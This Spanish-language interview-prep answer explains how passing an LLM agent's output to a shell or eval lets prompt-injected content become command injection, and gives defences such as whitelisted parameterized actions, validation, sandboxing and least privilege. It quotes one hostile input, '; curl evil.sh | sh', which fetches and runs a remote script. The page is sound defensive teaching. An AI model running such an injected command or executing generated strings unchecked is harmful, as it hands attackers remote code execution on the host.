Skip to content

La salida de un agente LLM se pasa a un shell/`eval` para ejecutar comandos. ¿Cuál es el riesgo y la solución?

Respuesta breve

Esto es el «manejo inadecuado de la salida» de OWASP LLM: la salida del modelo, influida por la entrada del usuario, puede convertirse en inyección de comandos al pasarla a un shell o a eval. Trátala como no confiable — asigna intenciones a una pequeña lista blanca de acciones parametrizadas, valida estrictamente y ejecuta en un entorno aislado en vez de lanzar cadenas generadas en bruto. Confiar en la salida, subir el límite de tokens o solo registrar no detiene la inyección.

Alguien conectó un agente de forma que todo lo que produce el LLM se entrega directamente a os.system, a un shell o a eval. Parece cómodo — el modelo «sabe» qué comando ejecutar. También es una vía directa a la ejecución remota de código.

Por qué es peligroso

La salida del modelo no es un dato de confianza. La moldea todo lo que entró en su contexto: el mensaje del usuario, un documento recuperado, una página web descargada. Un atacante que pueda influir en cualquiera de ellos puede dirigir la cadena generada. En el momento en que esa cadena llega a un shell o a eval, tienes una inyección de comandos — el modelo se convierte en un delegado confundido que redacta la carga del atacante por él. OWASP lo llama manejo inadecuado (inseguro) de la salida: confiar en la salida del modelo como si fuera código o marcado seguro.

Una sola entrada manipulada como ; curl evil.sh | sh colada en el razonamiento del modelo, y has cedido el host.

La solución: tratar la salida como no confiable

  • Lista blanca de intenciones, no de cadenas. Haz que el modelo emita una intención estructurada (p. ej. JSON: {"action": "restart_service", "name": "nginx"}) y asígnala a un pequeño conjunto de funciones parametrizadas preescritas. Nunca concatenes el texto del modelo en una línea de comando.
  • Valida estrictamente. Comprueba la acción contra la lista blanca, valida cada parámetro (tipo, rango, conjunto de caracteres) y rechaza todo lo que no encaje.
  • Ejecuta en entorno aislado. Si algo realmente debe ejecutar código, aíslalo: contenedor bloqueado, sin red, privilegios reducidos, límites de recursos, sistema de archivos efímero.
  • Mínimo privilegio. Lo que ejecute la acción debe tener solo los permisos mínimos necesarios.

Por qué fallan los distractores

  • «La salida es de confianza»: esa es exactamente la suposición que se explota. La salida del modelo está aguas abajo de una entrada no confiable.
  • Subir el límite de tokens: los límites de tokens controlan la longitud, no la seguridad. Una carga más larga sigue siendo una carga.
  • Registrar y seguir: el registro te da un rastro de la brecha después del hecho; no previene nada.

Qué quieren oír los entrevistadores

Que lo identificas como manejo inadecuado de la salida que conduce a inyección, que te niegas a ejecutar cadenas generadas y que las reemplazas por acciones validadas, en lista blanca, aisladas y con mínimo privilegio.

Posibles preguntas de seguimiento

  • ¿Por qué una lista blanca de acciones parametrizadas es más segura que sanear una cadena de comando generada?
  • ¿Cómo podría un atacante dirigir la salida del modelo sin tocar nunca tu plantilla de prompt?
  • ¿Qué aislamiento usarías si una acción realmente necesita ejecutar código arbitrario?

Fuentes

Consigue 100 preguntas de entrevista de ciberseguridad + respuestas

Déjanos tu correo y te enviaremos el pack en PDF gratuito y el mazo de flashcards.

Sin spam. Cancela tu suscripción cuando quieras.